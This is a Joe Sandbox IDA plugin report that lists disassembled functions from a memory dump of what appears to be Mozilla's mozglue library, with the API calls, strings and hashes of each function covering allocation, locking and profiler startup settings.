Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 9b6620e8aaa1054e5376a35a56552485dd2aba042ee6198a53cbdde82d756fa8
Instruction ID: f1cbef302793152f822b951e224eae02981d1cebed5453f62238f8f9f26ef474
Opcode Fuzzy Hash: 9b6620e8aaa1054e5376a35a56552485dd2aba042ee6198a53cbdde82d756fa8
Instruction Fuzzy Hash: D631F4343016019FD714CF2AC898E26B7F5FF89315B688558F55687B96C771EC42CB90

Function 6CA0B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CA0B532
moz_xmalloc.MOZGLUE(?), ref: 6CA0B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA0B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CA0B57E
free.MOZGLUE(00000000), ref: 6CA0B58F

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 287e02f44324d4d0dc5934b694cdd0774f898c6787fb7f5aa7a4fa3179cf1fe9
Instruction ID: 90a5d3f6d31720c770005fffb9100eca8814edb4dfafa60acd8d9ecc378eea35
Opcode Fuzzy Hash: 287e02f44324d4d0dc5934b694cdd0774f898c6787fb7f5aa7a4fa3179cf1fe9
Instruction Fuzzy Hash: D1210A717002059FDB008F64ED40BAABBB9FF4634CF284169E815DB341E735D995C7A0

Function 6CA676C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CA676F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CA67705

Part of subcall function 6CA1CA10: malloc.MOZGLUE(?), ref: 6CA1CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CA67717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CA6778F,00000000,00000000,00000000,00000000), ref: 6CA67731
free.MOZGLUE(00000000), ref: 6CA67760

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: ea437508014563a3bbb82f7028039b2f71ae82a5d5b9227e57db5b11f072dc0a
Instruction ID: 3305c186ad40e28b8957b730ada337a6c6c3fe5e6fda1c2851846731106eee8e
Opcode Fuzzy Hash: ea437508014563a3bbb82f7028039b2f71ae82a5d5b9227e57db5b11f072dc0a
Instruction Fuzzy Hash: 1111B2B19053256BE710AF769D44BABBFE8FF46354F044529F848E7700E770898487E2

Function 6CA40D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CA03DEF), ref: 6CA40D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CA03DEF), ref: 6CA40D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CA03DEF), ref: 6CA40DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CA40D97, 6CA40DBE
<jemalloc>, xrefs: 6CA40D92, 6CA40DB9

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 2fe8fb8c8ce529660924766e94ebcf8c449265da59045f273f77f02dced6460b
Instruction ID: 7a5d2fcdf6e7e9c6ec44c7f76c8bfc2f0420266ba2b5282b84cf10c30fe844a9
Opcode Fuzzy Hash: 2fe8fb8c8ce529660924766e94ebcf8c449265da59045f273f77f02dced6460b
Instruction Fuzzy Hash: 5CF02E3138239523E62421BA1C0AF6B375DABD3B24F35C135F324DE9C0DA50E8C956A5

Function 6CA57620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6CA575C4,?), ref: 6CA5762B

Part of subcall function 6CA1CA10: malloc.MOZGLUE(?), ref: 6CA1CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6CA574D7,6CA615FC,?,?,?), ref: 6CA57644
GetCurrentThreadId.KERNEL32 ref: 6CA5765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CA574D7,6CA615FC,?,?,?), ref: 6CA57663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6CA574D7,6CA615FC,?,?,?), ref: 6CA57677

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: 4fc254c83a7fb5d5dc8f6970da3aac47e5bac1253b37e72303ea2cb8d877296f
Instruction ID: 8e48d3e91c53090fa4ccd51414e4c7c3b0288bda78aa9825f604338b50ffdb71
Opcode Fuzzy Hash: 4fc254c83a7fb5d5dc8f6970da3aac47e5bac1253b37e72303ea2cb8d877296f
Instruction Fuzzy Hash: 42F08C71E10746AFD7009F21D888A66B778FFAB259F119316F90442612E7B0A5D18BE0

Function 6CA2D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CA3CBE8: GetCurrentProcess.KERNEL32(?,6CA031A7), ref: 6CA3CBF1
Part of subcall function 6CA3CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA031A7), ref: 6CA3CBFA

EnterCriticalSection.KERNEL32(6CA8E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA3D1C5), ref: 6CA2D4F2
LeaveCriticalSection.KERNEL32(6CA8E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA3D1C5), ref: 6CA2D50B

Part of subcall function 6CA0CFE0: EnterCriticalSection.KERNEL32(6CA8E784), ref: 6CA0CFF6
Part of subcall function 6CA0CFE0: LeaveCriticalSection.KERNEL32(6CA8E784), ref: 6CA0D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA3D1C5), ref: 6CA2D52E
EnterCriticalSection.KERNEL32(6CA8E7DC), ref: 6CA2D690
LeaveCriticalSection.KERNEL32(6CA8E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA3D1C5), ref: 6CA2D751

Strings

MOZ_CRASH(), xrefs: 6CA2D4BB

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: d08ee8d19974e0d935e44115b0956af7496fa3dc9d430522b4690928aa5c7cad
Instruction ID: b36d45a4a3e3fee6c1e48113f64262b70db246a673ae694b9c6a23806b5f9947
Opcode Fuzzy Hash: d08ee8d19974e0d935e44115b0956af7496fa3dc9d430522b4690928aa5c7cad
Instruction Fuzzy Hash: E4512471A057228FD318CF28C59475AB7F1EF8A308F188A2ED599C7B85D774E880CB91

Function 6CA54630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA54721

Strings

., xrefs: 6CA5476A
profiler-paused, xrefs: 6CA546E4
-%llu, xrefs: 6CA54733

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 7d2e0d9cc50eec1dd24136c6e323be852c9d4e61179d96805f17478cf5c430f7
Instruction ID: c01506472561cdc21434b794542b227994747fe5a6687273c486c9bf6eaadd04
Opcode Fuzzy Hash: 7d2e0d9cc50eec1dd24136c6e323be852c9d4e61179d96805f17478cf5c430f7
Instruction Fuzzy Hash: 04417775E047189FCB08CF38E85119EBBF5EB85344F54C62DE849ABB81EB3088A48791

Function 6CA546E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA54721

Part of subcall function 6CA04410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CA43EBD,00000017,?,00000000,?,6CA43EBD,?,?,6CA042D2), ref: 6CA04444

Strings

., xrefs: 6CA5476A
profiler-paused, xrefs: 6CA546E4
-%llu, xrefs: 6CA54733

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 2960a235bd9ba54970f1fe8662910ca5c78a5a3656cb5d3aa79cd5f30e8cfe52
Instruction ID: 6be79f69732880740acc5ecba2bb70623bc117b03885d2507621517e672611d4
Opcode Fuzzy Hash: 2960a235bd9ba54970f1fe8662910ca5c78a5a3656cb5d3aa79cd5f30e8cfe52
Instruction Fuzzy Hash: 28316D71F042185FCB0CCF6CD89129DBBE6DB88314F58823DE805DB741E77099948B50

Function 6CA5B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA04290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CA43EBD,6CA43EBD,00000000), ref: 6CA042A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CA5B127), ref: 6CA5B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA5B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CA5B4E4

Strings

pid:, xrefs: 6CA5B4DE

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: fb3f8b564da67fe41a04fabad2f99ca99d9d17148953de3b8cf99f35e8e3c513
Instruction ID: c3d3e96f0faeab5c9dbf33f4ae1b72aad0614443a26a3768769fc87f652155b2
Opcode Fuzzy Hash: fb3f8b564da67fe41a04fabad2f99ca99d9d17148953de3b8cf99f35e8e3c513
Instruction Fuzzy Hash: 49312931A01218DFCB10DFA9E840AEEB775FF05309F984619D41267B40D731E8D9CBA1

Function 6CA4E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA4E577
AcquireSRWLockExclusive.KERNEL32(6CA8F4B8), ref: 6CA4E584
ReleaseSRWLockExclusive.KERNEL32(6CA8F4B8), ref: 6CA4E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CA4E8A6

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CA4E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CA4E826, 6CA4E850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CA4E722, 6CA4E750, 6CA4E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CA4E655
MOZ_PROFILER_STARTUP, xrefs: 6CA4E5A1, 6CA4E5CC, 6CA4E5FF, 6CA4E62A

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: d0f7b41509ffe8ad8b4849335d0be3fb688a80696deb129635848d88da7317c5
Instruction ID: a09be6ec6b838406cf1c3402b3e658311bece117fa0c1ba7da9d7ee2359b478b
Opcode Fuzzy Hash: d0f7b41509ffe8ad8b4849335d0be3fb688a80696deb129635848d88da7317c5
Instruction Fuzzy Hash: 5011A531606356DFCB04DF14D848B59BBB4FB8A318F14861EE85547650C7709846CBD1

Function 6CA50C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA50CD5

Part of subcall function 6CA3F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA3F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA50D40
free.MOZGLUE ref: 6CA50DCB

Part of subcall function 6CA25E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA25EDB
Part of subcall function 6CA25E90: memset.VCRUNTIME140(6CA67765,000000E5,55CCCCCC), ref: 6CA25F27
Part of subcall function 6CA25E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA25FB2

free.MOZGLUE ref: 6CA50DDD
free.MOZGLUE ref: 6CA50DF2

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 564717853b85432aadbd072c7bcb5edf622d039c4f758a44383e54b6de3d34f3
Instruction ID: f5dc5c76565b6b29826a7eb3f06833a44bf91d3fd0e068bffca44ad0d6c9fdac
Opcode Fuzzy Hash: 564717853b85432aadbd072c7bcb5edf622d039c4f758a44383e54b6de3d34f3
Instruction Fuzzy Hash: B44139769087908BD320CF29C18079AFBF5BFC9718F558A2EE8D887710D7709498CB92

Function 6CA5CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CA4DA31,00100000,?,?,00000000,?), ref: 6CA5CDA4

Part of subcall function 6CA1CA10: malloc.MOZGLUE(?), ref: 6CA1CA26

Part of subcall function 6CA5D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CA5CDBA,00100000,?,00000000,?,6CA4DA31,00100000,?,?,00000000,?), ref: 6CA5D158
Part of subcall function 6CA5D130: InitializeConditionVariable.KERNEL32(00000098,?,6CA5CDBA,00100000,?,00000000,?,6CA4DA31,00100000,?,?,00000000,?), ref: 6CA5D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CA4DA31,00100000,?,?,00000000,?), ref: 6CA5CDC4

Part of subcall function 6CA57480: ReleaseSRWLockExclusive.KERNEL32(?,6CA615FC,?,?,?,?,6CA615FC,?), ref: 6CA574EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CA4DA31,00100000,?,?,00000000,?), ref: 6CA5CECC

Part of subcall function 6CA1CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA1CAA2

Part of subcall function 6CA4CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CA5CEEA,?,?,?,?,00000000,?,6CA4DA31,00100000,?,?,00000000), ref: 6CA4CB57
Part of subcall function 6CA4CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CA4CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CA5CEEA,?,?), ref: 6CA4CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CA4DA31,00100000,?,?,00000000,?), ref: 6CA5D058

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: c103985b9ce2fd518b037c827ba9f05cd516f1ffa0d919642a3a8c07ccd73e7c
Instruction ID: 531f78c10de2439f26af9b35366b4dbe09a79aa4b8871907a82afc87001d0821
Opcode Fuzzy Hash: c103985b9ce2fd518b037c827ba9f05cd516f1ffa0d919642a3a8c07ccd73e7c
Instruction Fuzzy Hash: E9D16071A04B069FD708CF28C580799F7F1BF89308F45866DD8598B716EB31A9A9CBC1

Function 6CA25C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CA25D40
EnterCriticalSection.KERNEL32(6CA8F688), ref: 6CA25D67
__aulldiv.LIBCMT ref: 6CA25DB4
LeaveCriticalSection.KERNEL32(6CA8F688), ref: 6CA25DED

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 7db949c5dd2353fbb0d0689c896345e2b9901bdee4606e37874a7ff94c4b6b06
Instruction ID: 9fac4e313472b73cea2aa261d7b4b76c450ff0f12b15d6b04ec8b5a89f2f9d44
Opcode Fuzzy Hash: 7db949c5dd2353fbb0d0689c896345e2b9901bdee4606e37874a7ff94c4b6b06
Instruction Fuzzy Hash: 48515271E012668FCF08CFA8C954BAEB7B2FB86304F19862DD815A7754D7346946CB90

Function 6CA0CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA0CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CA0CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CA0CF4E

Strings

0, xrefs: 6CA0CF30

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 45de418a671405a9725c120583b78b39f794c541e875be2cc846c3698ae6a1a4
Instruction ID: b1b27fe0a377501bd4287ee9926891a33ed27f08cff3c7e6da7a7e4ef3a6ca31
Opcode Fuzzy Hash: 45de418a671405a9725c120583b78b39f794c541e875be2cc846c3698ae6a1a4
Instruction Fuzzy Hash: D0511275A002168FCB00CF18D490AAABBB5FF99308F198599D8595F751D331AD46CBE1

Function 6CA46470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CA482BC,?,?), ref: 6CA4649B

Part of subcall function 6CA1CA10: malloc.MOZGLUE(?), ref: 6CA1CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA464A9

Part of subcall function 6CA3FA80: GetCurrentThreadId.KERNEL32 ref: 6CA3FA8D
Part of subcall function 6CA3FA80: AcquireSRWLockExclusive.KERNEL32(6CA8F448), ref: 6CA3FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA4653F
free.MOZGLUE(?), ref: 6CA4655A

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca00000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: ebebe00edb26922865f97d1297372136ef8a118d4fc2da95a0d3c1832d56f10a
Instruction ID: e1d2f824cd3569509a01267ed10ab96f9e15fb8d33db7b6e62bc61539c196b1f
Opcode Fuzzy Hash: ebebe00edb26922865f97d1297372136ef8a118d4fc2da95a0d3c1832d56f10a
Instruction Fuzzy Hash: 1131A2B5A043159FC704CF14D980A9EBBF4FF89314F00852EE85A87741DB30E959CB92

Function 6CA1B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA1B4F5
AcquireSRWLockExclusive.KERNEL32(6CA8F4B8), ref: 6CA1B502
ReleaseSRWLockExclusive.KERNEL32(6CA8F4B8), ref: 6CA1B542
free.MOZGLUE(?), ref: 6CA1B578

Memory Dump Source

Source File: 00000000.00000002.2419916379.000000006CA01000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA00000, based on PE: true

Associated: 00000000.00000002.2419895637.000000006CA00000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2419975502.000000006CA7D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420004104.000000006CA8E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2420032941.000000006CA92000.00000002.00000001.01000000.00000008.sdmpDownload File

